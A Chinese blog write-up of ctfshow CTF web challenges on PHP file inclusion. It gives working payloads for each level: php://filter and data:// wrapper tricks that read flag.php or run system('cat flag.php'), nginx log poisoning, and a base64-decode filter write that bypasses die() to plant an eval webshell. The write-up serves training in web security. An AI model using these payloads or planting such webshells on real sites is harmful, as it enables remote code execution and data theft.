CTFSHOW-WEB入门-文件包含
web78
①关键代码
if(isset($_GET['file'])) { $file = $_GET['file']; include($file); }
②直接文件包含
/?file=php://filter/read=convert.base64-encode/resource=flag.php
web79
①关键代码
if(isset($_GET['file'])) { $file = $_GET['file']; $file = str_replace("php", "???", $file); include($file); }
②用data伪协议
/?file=data:<span class="hljs-comment">//text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs= //PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs= <?php system('cat flag.php');
web80-81(日志文件包含)
①关键代码
if(isset($_GET['file'])) { $file = $_GET['file']; $file = str_replace("php", "???", $file); $file = str_replace("data", "???", $file); include($file); }
②不同系统日志文件路径有所差异
apache一般是/var/log/apache/access.log。:
nginx的log在/var/log/nginx/access.log和/var/log/nginx/error.log
这题日志文件路径为/var/log/nginx/access.log,访问日志文件,并写入命令
要多重发几次,发现fl0g.php文件,然后查看文件
再重发几次,得到flag
web87
①关键代码
if(isset($_GET['file'])) { $file = $_GET['file']; $content = $_POST['content']; $file = str_replace("php", "???", $file); $file = str_replace("data", "???", $file); $file = str_replace(":", "???", $file); $file = str_replace(".", "???", $file); file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content); }
②这题很显然有文件包含漏洞,总体的思路就是将命令写入content中,然后用php://filter/伪协议进行文件包含,但这题问题就在于在执行content中的代码之前它先执行了die函数,导致程序结束,我们植入的代码执行失败,所以,这题的任务就是使<?php die('大佬别秀了');?>失效。
③这题用base64编码的特性,首先用php://filter/write=convert.base64-decode/resource=123.php进行文件包含,但是要进行两次url编码(因为代码中含有urldecode它解码了一次),之所以用write而不是read,因为我们需要的是写入的权限,两次url编码用在线工具还不行,它只会把特殊字符编码,后来发现url编码实际上就是先转成16进制,然后每两个字符前加一个%,我就先用在线工具转成16进制,再写了个脚本每隔两个字符加一个%,但最后第一个字符前也要记得加上去
import re text = "253730253638253730253361253266253266253636253639253663253734253635253732253266253737253732253639253734253635253364253633253666253665253736253635253732253734253265253632253631253733253635253336253334253264253634253635253633253666253634253635253266253732253635253733253666253735253732253633253635253364253331253332253333253265253730253638253730" text_list = re.findall(".{2}", text) new_text = "%".join(text_list) print(new_text)
同时要post写入content参数的内容,将<?php @eval($_POST['a']);?>base64加密得到PD9waHAgQGV2YWwoJF9QT1NUWydhJ10pOz8+
因为base64加密时会把无法辨认的字符过滤,所以content前面那串内容就剩phpdie,我们再添两个字符,这样前8个字符凑一组正好一解码就没了,后面一解码就得到了我们传入的木马
接着访问我们传入的123.php文件,并且将命令写入a中使之执行
得到fl0g.php文件,再cat一下,就得到了flag。
本文来自博客园,作者:Athena-ydy,转载请注明原文链接:https://www.cnblogs.com/Athena-ydy/p/15861262.html
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】凌霞软件回馈社区,博客园 & 1Panel & Halo 联合会员上线
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】博客园社区专享云产品让利特惠,阿里云新客6.5折上折
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 微软正式发布.NET 10 Preview 1:开启下一代开发框架新篇章
· 没有源码,如何修改代码逻辑?
· NetPad:一个.NET开源、跨平台的C#编辑器
· PowerShell开发游戏 · 打蜜蜂
· 凌晨三点救火实录:Java内存泄漏的七个神坑,你至少踩过三个!